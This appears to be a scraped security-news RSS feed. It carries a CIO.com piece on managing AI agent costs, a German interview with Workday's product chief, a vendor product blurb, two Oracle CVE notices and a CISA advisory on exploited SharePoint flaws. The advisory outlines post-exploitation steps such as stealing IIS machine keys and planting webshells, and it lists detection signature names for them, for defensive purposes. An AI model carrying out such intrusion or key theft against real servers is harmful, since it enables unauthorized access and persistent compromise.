<link>https://tsecurity.de/de/3670246/it-security-nachrichten/5-ways-for-cios-to-avoid-ai-bill-shock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670246/it-security-nachrichten/5-ways-for-cios-to-avoid-ai-bill-shock/</guid>
<pubDate>Wed, 15 Jul 2026 12:08:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Gen AI spending is moving beyond the familiar software model of seats, licenses, and pilots. As AI shifts from copilots to embedded workflows and autonomous agents, one user request can trigger multiple model calls, retrieval steps, retries, orchestration layers, and infrastructure events. A tool that looks affordable in pilot may behave very differently once connected to production systems or allowed to act with less human supervision.</p>



<p class="wp-block-paragraph">According to Michael Corrigan, CIO of World Insurance Associates, AI introduces a fundamentally different cost model — one that’s usage driven, non-linear, and tightly coupled to business activity. “Success requires shifting from traditional IT budgeting to FinOps-style discipline where consumption, value, and governance are actively managed in real time,” he says.</p>



<p class="wp-block-paragraph">Here are five ways CIOs can build that discipline before AI costs spiral.</p>



<h2 class="wp-block-heading">Forecast AI by workflow, not by user</h2>



<p class="wp-block-paragraph">At World, a top 25 insurance broker with about 3,000 employees across roughly 300 locations, AI use falls into three broad categories, Corrigan says. One is broad tools, such as copilots. Another is embedded AI inside SaaS platforms. And the third is bespoke AI built around specific workflows and manual processes.</p>



<p class="wp-block-paragraph">“The bespoke is the area that’s growing the most right now,” he says. “And that’s where the model, from a cost perspective, has really been shifting from a license seat cost to a token consumption or token burn cost, or even a hybrid.”</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Michael Corrigan, CIO, World Insurance Associates</p>
</figcaption></figure><p class="imageCredit">WIA</p></div>



<p class="wp-block-paragraph">Seat-based pricing is relatively easy to forecast whereas consumption-based AI isn’t. Costs may depend on prompt complexity, output length, model choice, workflow design, and whether the system calls a model once or many times in the background.</p>



<p class="wp-block-paragraph">World tries to manage that uncertainty by defining the business problem, success criteria, and expected operational improvement upfront. Pilots help estimate consumption before scaling, but Corrigan says they don’t remove the ambiguity.</p>



<p class="wp-block-paragraph">“We’ll try our best in the pilot to understand what the consumption rate is, what the token burn rate is,” he says. But once a consumption-based workflow goes into production, he adds, an estimate is put into place. That estimate is informed, but still rough.</p>



<p class="wp-block-paragraph">Elmer Morales, founder and CEO of koder.com, an agentic AI coding startup, says CIOs should think less about headcount and more about <a href="https://www.cio.com/article/4163373/cios-bring-ai-transformation-home-to-it-workflows.html?utm=hybrid_search">workflow mechanics</a>. Agentic AI costs are driven by the number of decisions an agent makes, how often it retrieves external data, how much context it carries, and how many systems it touches.</p>



<p class="wp-block-paragraph">“CIOs should start by mapping workflows, not necessarily users,” he says. “The relevant variable isn’t going to be the headcount but how many decisions an agent makes per task.”</p>



<h2 class="wp-block-heading">Model the failure path, not just the happy path</h2>



<p class="wp-block-paragraph">Pilots can mislead because they often test the cleanest version of an AI workflow. Morales says many enterprises model agentic AI costs around the happy path: the user gives a clear prompt, the system understands the request, the agent completes the task, and the process ends. Production is messier.</p>



<p class="wp-block-paragraph">“They generally don’t model for situations where the agent is going to need to go back and check its work and redo things,” Morales says. “A lot of times, agents are wrong, either because they hallucinate or they understood the problem incorrectly.”</p>



<p class="wp-block-paragraph">In an agentic workflow, the system may check its work, call another tool, retrieve more data, or redo a step. While that may improve quality, it also adds cost.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Elmer Morales, founder and CEO, koder.com</p>
</figcaption></figure><p class="imageCredit">koder.com</p></div>



<p class="wp-block-paragraph">The difference between copilots and <a href="https://www.cio.com/article/3603856/agentic-ai-promising-use-cases-for-business.html?utm=hybrid_search">agents</a> is central. A copilot interaction is often one prompt and one response. An agentic workflow may involve agents moving through a decision tree, executing tasks in sequence or in parallel, and calling sub-agents or external systems along the way. “By the time it’s achieved the original goal, the agent might have made 50 or 100 model calls, compared with a single call for a traditional copilot prompt,” Morales says.</p>



<p class="wp-block-paragraph">That’s why CIOs should require teams to model the failure path before production, like how many retries are allowed, how much context is resent, which tools can be called, when a human should intervene, and what happens when the agent can’t complete the task.</p>



<h2 class="wp-block-heading">Build cost controls into the architecture</h2>



<p class="wp-block-paragraph">Traditional FinOps practices still matter, but AI requires more than retrospective dashboards and chargebacks.</p>



<p class="wp-block-paragraph">According to Pavan Madduri, senior cloud platform engineer at industrial supply company Graigner, looking backward at usage data, as traditional FinOps often does, can be too late. Costs are shaped by prompt design, model selection, agent behavior, orchestration choices, and runtime loops.</p>



<p class="wp-block-paragraph">“Dashboards or chargebacks, those are historical accounting,” he says. “The money’s already gone.” For AI, he argues, cost controls need to be embedded into the architecture. That includes hard token caps, retry-depth limits, maximum runtime limits, workload prioritization, background-job throttling, and cluster-level controls that prevent runaway consumption.</p>



<p class="wp-block-paragraph">“The real FinOps means you need to have the cost constraints embedded into your architecture framework,” Madduri says.</p>



<p class="wp-block-paragraph">Those controls also extend to infrastructure. Expensive GPUs may sit warm between jobs because systems need capacity available when inference demand arrives. Teams may pass huge schemas, databases, or thousands of lines of code into frontier models when a smaller or more focused prompt would do.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="828" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Pavan Madduri, senior cloud platform engineer, Graigner</p>
</figcaption></figure><p class="imageCredit">Graigner</p></div>



<p class="wp-block-paragraph">Enterprises should also adopt event-driven autoscaling, Madduri says. “Use tools like KEDA to scale GPU nodes down to zero the moment inference demand drops, so teams only pay for the windows when the silicon is actively crunching tokens.”</p>



<p class="wp-block-paragraph">Corrigan says World uses rate limits, spend limits, alerts, and approval gateways for consumption-based tools. When users approach token consumption limits, automated alerts allow IT and the business to review whether the continued spend is justified.</p>



<p class="wp-block-paragraph">“If it’s not meeting the success criteria we expected, you have to have the control in place to say we’re going to move on or kill that process,” Corrigan says.</p>



<h2 class="wp-block-heading">Route work to the right model</h2>



<p class="wp-block-paragraph">CIOs can also reduce <a href="https://www.cio.com/article/4152601/without-controls-an-ai-agent-can-cost-more-than-an-employee.html?utm=hybrid_search">AI bill shock</a> by avoiding a default assumption that every task requires the most powerful model available. While some tasks need advanced reasoning, many others don’t. A simple support ticket, log-parsing task, or structured database transaction may be handled by a smaller or cheaper model. A complex architecture decision, legal analysis, or multi-step reasoning task may justify a more powerful one.</p>



<p class="wp-block-paragraph">“Choosing the right model for the right prompt and right question — that’s where you leverage the maximum from that model, and you can decrease the costing,” Madduri says. “If you default every single call to a frontier model, that’s architectural laziness.”</p>



<p class="wp-block-paragraph">Morales makes a similar point. Not every step in an agentic workflow requires a top-of-the-line model. Model routing, he says, is the discipline of determining the best model for the task, and providing the relevant context when the model needs it.</p>



<p class="wp-block-paragraph">According to Jim Olsen, CTO of enterprise software company ModelOp, CIOs should use the least expensive model that can accomplish the business goal. Using the biggest model for everything is easier, but expensive. “It’s like hiring the most expensive engineer to change a few colors in a website’s CSS, or visual styling,” he says. “You wouldn’t do that. You use the appropriate tools for the task.”</p>



<h2 class="wp-block-heading">Tie consumption to business value</h2>



<p class="wp-block-paragraph">For Olsen, the deeper enterprise problem is AI value shock, not just bill shock. Spending $200,000 in a quarter on AI is justified if it produces $2 million in business value. The problem is spending heavily on use cases that don’t generate a meaningful return.</p>



<p class="wp-block-paragraph">“Are you actually getting that return on investment, or are you just blowing tokens for something that’s not delivering the value to your business?” Olsen asks. Tracking token usage by user or department may show who consumed AI, but not whether the consumption mattered.</p>


<div class="extendedBlock-wrapper block-coreImage left"><figure class="wp-block-image alignleft size-1240-r3:2 is-resized"> width="1240" height="827" sizes="auto, (max-width: 1240px) 100vw, 1240px"&gt;<figcaption class="wp-element-caption"><p>Jim Olsen, CTO, ModelOp</p>
</figcaption></figure><p class="imageCredit">ModelOp</p></div>



<p class="wp-block-paragraph">For most enterprise AI systems, Olsen says costs should be tied back to business use cases. A model may be used for HR document search, customer support, code review, problem resolution, or other functions. Each use case may draw on the same underlying models or agents, but the business value can be very different.</p>



<p class="wp-block-paragraph">That’s why he argues that companies need an AI inventory, a record of which business workflows use which models, agents, providers, workflows, and systems. Without that inventory, enterprises can’t connect consumption to value.</p>



<p class="wp-block-paragraph">Corrigan takes a similar approach from a governance perspective. At World, new AI ideas go through an intake process. Business users propose improvements, and IT, finance, operations, sales, and business stakeholders evaluate, prioritize, and monitor them from pilot through production.</p>



<p class="wp-block-paragraph">That may be where the next stage of AI FinOps is heading, toward a clearer understanding of which AI consumption deserves to scale, not just to lower bills. So the question, as Olsen puts it, isn’t whether someone used a million tokens. It’s what are they using them for.</p>
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<title><![CDATA[Product showcase: Trust Chain TPRM turns vendor compliance evidence into verified assurance]]></title>
<description><![CDATA[Trust Chain is an AI-native third-party risk management (TPRM) solution by Strike Graph that replaces the security questionnaire model with validated evidence of compliance. Rather than asking vendors to self-report their security posture, Trust Chain requires vendors to submit evidence, which is...]]></description>
<link>https://tsecurity.de/de/3669934/it-security-nachrichten/product-showcase-trust-chain-tprm-turns-vendor-compliance-evidence-into-verified-assurance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669934/it-security-nachrichten/product-showcase-trust-chain-tprm-turns-vendor-compliance-evidence-into-verified-assurance/</guid>
<pubDate>Wed, 15 Jul 2026 09:53:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Trust Chain is an AI-native third-party risk management (TPRM) solution by Strike Graph that replaces the security questionnaire model with validated evidence of compliance. Rather than asking vendors to self-report their security posture, Trust Chain requires vendors to submit evidence, which is then evaluated using Strike Graph’s patent-pending Verify AI technology. The evaluation tests each submission against the requesting organization’s speciﬁc requirements. The result is veriﬁed assurance rather than vendor attestation, delivered in a fraction … <a href="https://www.helpnetsecurity.com/2026/07/15/product-showcase-strike-graph-trust-chain-tprm/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/15/product-showcase-strike-graph-trust-chain-tprm/">Product showcase: Trust Chain TPRM turns vendor compliance evidence into verified assurance</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[„KI muss den Prozess unterstützen – nicht steuern“]]></title>
<description><![CDATA[Workday-Produktchef Gerrit Kazmaier, President Product & Technology bei Workday: “Der Schlüssel liegt darin, die Stärken der KI mit deterministischen Prozessen zu kombinieren.”Workday



Eine aktuelle Workday-Studie mit Daten aus Deutschland und Europa zeigt ein überraschendes Paradox: Obwohl vie...]]></description>
<link>https://tsecurity.de/de/3669534/it-security-nachrichten/ki-muss-den-prozess-unterstuetzen-nicht-steuern/</link>
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<pubDate>Wed, 15 Jul 2026 06:07:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Workday_GerritKazmaier_16_zu_9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Gerrit Kazmaier, President Product &amp; Technology bei Workday" class="wp-image-4194875" width="1024" height="576" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Workday-Produktchef Gerrit Kazmaier, President Product &amp; Technology bei Workday: “Der Schlüssel liegt darin, die Stärken der KI mit deterministischen Prozessen zu kombinieren.”</figcaption></figure><p class="imageCredit">Workday</p></div>



<p class="wp-block-paragraph">Eine aktuelle Workday-Studie mit Daten aus Deutschland und Europa zeigt ein überraschendes Paradox: Obwohl viele Beschäftigte ihre Produktivität und ihr Engagement hoch einschätzen, verbringen sie einen erheblichen Teil ihrer Arbeitszeit mit Aufgaben, die moderne Unternehmenssysteme längst automatisieren könnten. Nicht mangelnde Technologie oder fehlende Akzeptanz der Mitarbeitenden bremsen laut der Studie den Einsatz von KI, sondern fragmentierte Prozesse und Insellösungen.</p>



<p class="wp-block-paragraph">Die Ergebnisse stellen verbreitete Annahmen über den Einsatz von Enterprise AI infrage und unterstreichen zugleich, warum Governance, Vertrauen und Datensouveränität – gerade in Deutschland und Europa – entscheidende Voraussetzungen für eine erfolgreiche KI-Transformation sind.</p>



<p class="wp-block-paragraph">Darüber sprachen wir mit <a href="https://www.workday.com/de-de/company/about-workday/leadership/gerrit-kazmaier.html" target="_blank" rel="noreferrer noopener"><strong>Gerrit Kazmaier</strong></a>, President Product &amp; Technology bei Workday. Vor seinem Wechsel zu Workday leitete er bei Google das Data-Analytics- und BI-Geschäft und verantwortete unter anderem Google BigQuery, Looker, Pub/Sub, Dataflow und Dataplex. Im Laufe seiner Karriere war der Wirtschaftsinformatiker außerdem mehr als elf Jahre bei SAP tätig, zuletzt als President für die Bereiche Database (SAP HANA und Sybase), Analytics, Business Intelligence (Business Objects) und Enterprise Performance Management.</p>



<h2 class="wp-block-heading">„Zwischen Demo und Produktiveinsatz liegen Welten“</h2>



<p class="wp-block-paragraph"><em>Herr Kazmaier, wo stehen die Unternehmen aus Ihrer Sicht aktuell beim Thema KI?</em></p>



<p class="wp-block-paragraph"><strong>Gerrit Kazmaier:</strong> Wir hatten vor kurzem einen exklusiven Austausch mit CHROs und CEOs aus unserer Kunden- und Interessentenlandschaft. KI war tatsächlich an jedem Tisch das dominierende Thema. Was mich besonders beeindruckt hat, war die positive Grundhaltung. Die Diskussion dreht sich inzwischen nicht mehr darum, <em>ob</em> man KI einsetzen sollte, sondern darum, wie man sie sinnvoll nutzt und welche Anwendungsfälle tatsächlich einen messbaren Geschäftsnutzen liefern. Viele Unternehmen haben ihre ersten Experimente hinter sich und stehen jetzt an der Schwelle, KI in ihre Kernprozesse zu integrieren.</p>



<p class="wp-block-paragraph"><em>Genau das scheint derzeit die entscheidende Herausforderung zu sein: Vom Experiment zum produktiven Einsatz.</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Absolut. Die erste Frage lautet: Wie integriert man KI so in Geschäftsprozesse, dass sie zuverlässig arbeitet und echten Mehrwert schafft? Die zweite: Wie verändert KI eigentlich die Struktur von Unternehmen? Wenn Aufgaben zunehmend von KI-Systemen übernommen oder unterstützt werden, verändert das zwangsläufig Rollenbilder, Teams und Organisationsstrukturen. Diese beiden Entwicklungen laufen parallel.</p>



<p class="wp-block-paragraph"><em>Viele Unternehmen sind von den Möglichkeiten generativer KI fasziniert. Reicht diese Begeisterung aus?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Die Faszination ist absolut nachvollziehbar. Es ist heute erstaunlich einfach geworden, mit generativer KI beeindruckende Ergebnisse zu erzielen. Gleichzeitig ist es erstaunlich schwierig, daraus nachhaltigen wirtschaftlichen Nutzen zu generieren. Zwischen einer überzeugenden Demo und einem produktiven Unternehmenseinsatz liegen Welten.</p>



<p class="wp-block-paragraph"><em>Woran liegt das?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Geschäftsprozesse stellen völlig andere Anforderungen als ein Chatbot. Dort geht es um Zuverlässigkeit und Korrektheit. Nehmen Sie die Gehaltsabrechnung. Sie muss zu hundert Prozent stimmen. Oder den Finanzabschluss. Auch der muss rechtlich und fachlich korrekt sein. Niemand würde einen Geschäftsbericht akzeptieren, der zu 80 Prozent richtig ist – aber es nicht klar ist, welche 80 Prozent.</p>



<h2 class="wp-block-heading">„Mit KI existiert erstmals ein weiterer ‘Intelligenzträger’“</h2>



<p class="wp-block-paragraph"><em>Generative KI arbeitet aber grundsätzlich probabilistisch, also mit Wahrscheinlichkeiten. Wie lässt sich dieses Problem lösen?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Der Schlüssel liegt darin, die Stärken der KI mit deterministischen Prozessen zu kombinieren. KI bringt Fähigkeiten wie Schlussfolgern, Priorisieren oder das Verstehen komplexer Zusammenhänge mit. Gleichzeitig braucht es klare Geschäftsregeln, Richtlinien und kontrollierte Prozessabläufe. Erst das Zusammenspiel beider Welten ermöglicht den zuverlässigen Einsatz in Unternehmensprozessen.</p>



<p class="wp-block-paragraph"><em>Wo sehen Sie dabei den größten Mehrwert?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Wir verfolgen im Grunde zwei Innovationsrichtungen gleichzeitig. Zum einen automatisieren wir möglichst viele Backend-Prozesse – Recruiting, Payroll, Benefits oder Finanzprozesse. Zum anderen schaffen wir eine deutlich stärkere Personalisierung für den einzelnen Anwender. Das klingt zunächst widersprüchlich. Normalerweise bedeutet Standardisierung weniger Individualität. KI ermöglicht aber genau diesen Spagat: Im Hintergrund werden Prozesse stärker standardisiert und automatisiert, während die Interaktion mit dem Nutzer persönlicher und kontextbezogener wird.</p>



<p class="wp-block-paragraph"><em>KI verändert also nicht nur Prozesse, sondern auch Organisationen?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Davon bin ich überzeugt. Bislang war der Mensch der einzige Träger von Intelligenz im Unternehmen. Mit KI existiert erstmals ein weiterer “Intelligenzträger”. Das führt dazu, dass wir klassische Stellenbeschreibungen und Organisationsmodelle neu denken müssen. Viele Jobs bestehen heute aus einem Bündel unterschiedlichster Aufgaben. Wenn KI einzelne dieser Aufgaben übernimmt, verändert sich automatisch die Definition eines Jobs. Dasselbe gilt für Teams und letztlich für ganze Organisationen. Die traditionellen Hierarchien sind für relativ statische Arbeitswelten entstanden. KI schafft jetzt die Voraussetzungen für wesentlich dynamischere Organisationsformen.</p>



<p class="wp-block-paragraph"><em>Bedeutet das das Ende klassischer Stellenprofile?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Ich glaube, dass wir uns langfristig von einer rein rollenorientierten Organisation hin zu einer stärker auf Fähigkeiten und Aufgaben ausgerichteten Organisation bewegen. Unternehmen werden künftig sehr viel flexibler entscheiden können, welche Aufgaben von Menschen übernommen werden, welche von KI und welche im Zusammenspiel beider. Genau diese Transformation erleben wir derzeit – und sie wird Unternehmen weit stärker verändern als der reine Einsatz einer neuen Technologie.</p>



<h2 class="wp-block-heading">„KI bedeutet eine Transformation des gesamten Unternehmens“</h2>



<p class="wp-block-paragraph"><em>Unternehmen nähern sich KI auf unterschiedliche Weise. Manche starten in der IT, andere in einzelnen Fachbereichen. Ist Human Resources aus Ihrer Sicht ein besonders geeigneter Einstiegspunkt?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Ich denke schon. Zum einen, weil KI nicht nur eine technologische Veränderung ist, sondern eine Transformation des gesamten Unternehmens. HR beschäftigt sich zwangsläufig mit Fragen wie: Welche Kompetenzen brauchen wir künftig? Welche Aufgaben übernimmt KI? Welche bleiben dauerhaft beim Menschen? Wie verändern sich Recruiting, Weiterbildung und Karrierepfade? All diese Fragen landen zuerst im Personalbereich.</p>



<p class="wp-block-paragraph"><em>Gleichzeitig ist HR eng mit den Finanzprozessen verbunden.</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Genau. An der Schnittstelle zwischen HR und Finance wird KI sehr schnell zur wirtschaftlichen Realität. Unternehmen müssen künftig nicht nur Personalkosten planen, sondern auch den Einsatz von KI-Systemen und deren Betriebskosten berücksichtigen. Das verändert letztlich auch die Steuerung eines Unternehmens.</p>



<p class="wp-block-paragraph"><em>Gleichzeitig betrifft HR jeden einzelnen Mitarbeiter.</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Und genau deshalb bietet KI dort enormes Potenzial. Jeder kennt aus eigener Erfahrung, was gute Arbeit ausmacht: faire Beurteilungen, gute Führung, individuelle Entwicklungsmöglichkeiten und passende Weiterbildung. In der Realität scheitert vieles aber an begrenzten personellen Ressourcen. Nicht jeder Bewerber kann einen persönlichen Recruiter bekommen. Nicht jeder Mitarbeiter einen individuellen Karrierecoach oder Mentor.</p>



<p class="wp-block-paragraph"><em>KI könnte diese Lücke schließen?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Genau das ist die große Chance. KI ermöglicht erstmals, sehr viele Mitarbeitende individuell zu begleiten und zu unterstützen. Sie kann Bewerber persönlicher durch den Recruiting-Prozess führen, Beschäftigten individuelle Entwicklungsempfehlungen geben oder Führungskräfte im Alltag unterstützen. Dadurch entsteht eine deutlich stärker personalisierte Employee Experience – und zwar in einer Größenordnung, die rein menschlich kaum realisierbar wäre.</p>



<p class="wp-block-paragraph"><em>Wie zeigt sich das in der Praxis?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Nehmen wir klassische HR-Prozesse. Unternehmen sparen durch die Automatisierung Zeit und Kosten. Gleichzeitig steigt die Zufriedenheit der Mitarbeitenden, weil sie viel schneller Unterstützung erhalten. Früher wurde beispielsweise ein HR-Ticket an ein Shared Service Center weitergeleitet und die Antwort kam vielleicht erst Tage später. Heute kann ein KI-Assistent viele Anliegen sofort beantworten – rund um die Uhr.</p>



<p class="wp-block-paragraph"><em>Das gilt auch für Bewerbungsprozesse?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Absolut. Bewerber schreiben ihre Bewerbungen häufig nach Feierabend oder am Wochenende – also genau dann, wenn kein Recruiter mehr arbeitet. Mit KI können sie trotzdem unmittelbar Rückmeldung erhalten, Fragen stellen oder durch den Bewerbungsprozess geführt werden. Das verbessert die Candidate Experience erheblich und macht den gesamten Prozess deutlich effizienter.</p>



<p class="wp-block-paragraph"><em>Sie sehen HR also als einen der Bereiche, in denen KI ihren Nutzen besonders schnell unter Beweis stellen kann?</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Ja, weil hier zwei Effekte zusammenkommen: Unternehmen profitieren von einer deutlich höheren Automatisierung, während Mitarbeitende und Bewerber gleichzeitig eine individuellere Betreuung erleben. Diese Kombination gab es in dieser Form bisher nicht. Deshalb halte ich HR für einen der natürlichsten Anwendungsbereiche für KI.</p>



<p class="wp-block-paragraph"><em>Herr Kazmaier, vielen Dank für das Gespräch.</em></p>



<p class="wp-block-paragraph"><strong>Kazmaier:</strong> Jederzeit für die Computerwoche.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2018-25032 | Oracle Database Server 19c/21c denial of service (EUVD-2022-1454 / Nessus ID 236737)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Oracle Database Server 19c/21c. Affected by this vulnerability is an unknown functionality of the component Oracle Database. The manipulation results in denial of service.

This vulnerability is identified as CVE-2018-25032. The attack can be ex...]]></description>
<link>https://tsecurity.de/de/3669469/sicherheitsluecken/cve-2018-25032-oracle-database-server-19c21c-denial-of-service-euvd-2022-1454-nessus-id-236737/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669469/sicherheitsluecken/cve-2018-25032-oracle-database-server-19c21c-denial-of-service-euvd-2022-1454-nessus-id-236737/</guid>
<pubDate>Wed, 15 Jul 2026 05:09:32 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/oracle:database_server">Oracle Database Server 19c/21c</a>. Affected by this vulnerability is an unknown functionality of the component <em>Oracle Database</em>. The manipulation results in denial of service.

This vulnerability is identified as <a href="https://vuldb.com/cve/CVE-2018-25032">CVE-2018-25032</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[CVE-2022-37434 | Oracle TimesTen In-Memory Database 7.0.5.0.0/7.0.6.0/11.2.1.4.1 denial of service (Nessus ID 215940)]]></title>
<description><![CDATA[A vulnerability was found in Oracle TimesTen In-Memory Database 7.0.5.0.0/7.0.6.0/11.2.1.4.1. It has been rated as critical. The impacted element is an unknown function of the component In-Memory Database. This manipulation causes denial of service.

This vulnerability appears as CVE-2022-37434. ...]]></description>
<link>https://tsecurity.de/de/3669468/sicherheitsluecken/cve-2022-37434-oracle-timesten-in-memory-database-705007060112141-denial-of-service-nessus-id-215940/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669468/sicherheitsluecken/cve-2022-37434-oracle-timesten-in-memory-database-705007060112141-denial-of-service-nessus-id-215940/</guid>
<pubDate>Wed, 15 Jul 2026 05:09:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/oracle:timesten_in-memory_database">Oracle TimesTen In-Memory Database 7.0.5.0.0/7.0.6.0/11.2.1.4.1</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. The impacted element is an unknown function of the component <em>In-Memory Database</em>. This manipulation causes denial of service.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2022-37434">CVE-2022-37434</a>. The attack may be initiated remotely. There is no available exploit.]]></content:encoded>
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<title><![CDATA[CISA Urges SharePoint Hardening After New Exploitations]]></title>
<description><![CDATA[CISA is aware of active exploitation of vulnerabilities CVE-2026-32201, CVE-2026-45659, and CVE-2026-56164, enabling cyber threat actors to gain unauthorized access to on-premises SharePoint Server instances. These vulnerabilities affect all supported on-premises SharePoint Server versions (Subsc...]]></description>
<link>https://tsecurity.de/de/3668940/it-security-nachrichten/cisa-urges-sharepoint-hardening-after-new-exploitations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668940/it-security-nachrichten/cisa-urges-sharepoint-hardening-after-new-exploitations/</guid>
<pubDate>Tue, 14 Jul 2026 21:00:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA is aware of active exploitation of vulnerabilities <a href="https://www.cve.org/CVERecord?id=CVE-2026-32201" target="_blank">CVE-2026-32201</a>, <a href="https://www.cve.org/CVERecord?id=CVE-2026-45659" target="_blank">CVE-2026-45659</a>, and <a href="https://www.cve.org/CVERecord?id=CVE-2026-56164" target="_blank">CVE-2026-56164</a>, enabling cyber threat actors to gain unauthorized access to on-premises SharePoint Server instances. These vulnerabilities affect all supported on-premises SharePoint Server versions (Subscription Edition, 2019, and 2016) and involve establishing remote code execution (RCE) and post-exploitation activities, such as stealing Internet Information Services (IIS) machine keys and performing deserialization techniques, to gain persistence and deploy malware. Organizations should monitor affected SharePoint Servers closely for any signs of exploitation or unusual activity. </p>
<p>Additionally, the following newly disclosed CVEs are not yet known to have been exploited, but Microsoft has identified them as posing a potential risk if left unpatched:</p>
<ul type="square">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-55040" target="_blank">CVE-2026-55040</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-58644" target="_blank">CVE-2026-58644</a></li>
</ul>
<p>CISA urges organizations to detect and remediate a potential compromise by implementing the following recommendations:</p>
<ul type="square">
<li>Apply the latest patches and security updates from Microsoft, verify that installation completes successfully, and shorten patching cycles when possible.</li>
<li>Verify that Antimalware Scan Interface (AMSI) integration is enabled for each SharePoint web application. Follow Microsoft’s <a href="https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/configure-amsi-integration" target="_blank">Configure AMSI integration with SharePoint Server</a> guidance to ensure proper configuration and select the “Full Mode” option for the Request Body Scan Mode, where feasible. When compromise is expected, use the following AMSI and Microsoft Defender Antivirus (MDAV) detections, and implement your organization’s incident response plan for any positive detections:<br>
<ul type="circle">
<li>AMSI: <code>Exploit:Script/SuspSignoutReqBody.A</code> – request body scanning; SharePoint Server Subscription only; Microsoft has blocked observed attempts.</li>
<li>AMSI: <code>Exploit:Script/ToolPaneAuthBypass.A</code> – request header scanning; SharePoint Server 2016, 2019, and Subscription Edition.</li>
<li>AMSI: <code>Exploit:Script/ToolPaneAuthBypass.C</code> – RCE coverage; SharePoint Server 2016, 2019, and Subscription Edition.</li>
<li>MDAV: <code>Backdoor:MSIL/LeakFang.A!dha</code> – post-exploitation activity alert involving IIS-protected secrets.</li>
</ul>
</li>
</ul>
<p>In addition, CISA recommends that organizations implement the following SharePoint Server hardening measures:</p>
<ul type="square">
<li>Before rotating IIS machine keys, hunt for and remediate any intrusion artifacts, including machine-key harvesters, that could allow for the keys to be stolen again. Review Microsoft’s <a href="https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/improved-asp-net-view-state-security-key-management#automatic-machine-key-rotation" target="_blank">Improved ASP.NET view state security and key management</a> for best practices.</li>
<li>Establish tailored logging mechanisms to detect and monitor exploitation activities. Review telemetry for anomalous requests, suspicious SharePoint worker-process activity, webshells, and machine-key access. For more information, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/best-practices-event-logging-and-threat-detection">Best Practices for Event Logging and Threat Detection</a>.</li>
<li>Avoid exposing SharePoint Servers directly to the internet unless necessary; and if necessary, only configure a SharePoint Server behind a Layer 7 reverse proxy or equivalent application-layer security control that requires authentication and can inspect and filter requests. </li>
<li>Block external access to SharePoint Central Administration, restrict farm and database communications to required systems, and review <a href="https://learn.microsoft.com/en-us/sharepoint/security-for-sharepoint-server/security-hardening" target="_blank">Microsoft’s SharePoint Server security-hardening guidance</a> for role-specific ports, services, and <code>Web.config</code> settings.</li>
</ul>
<p>CISA urges users and administrators to review the Alert <a href="https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities">UPDATE: Microsoft Releases Guidance on Exploitation of SharePoint Vulnerabilities</a> and apply necessary updates.</p>
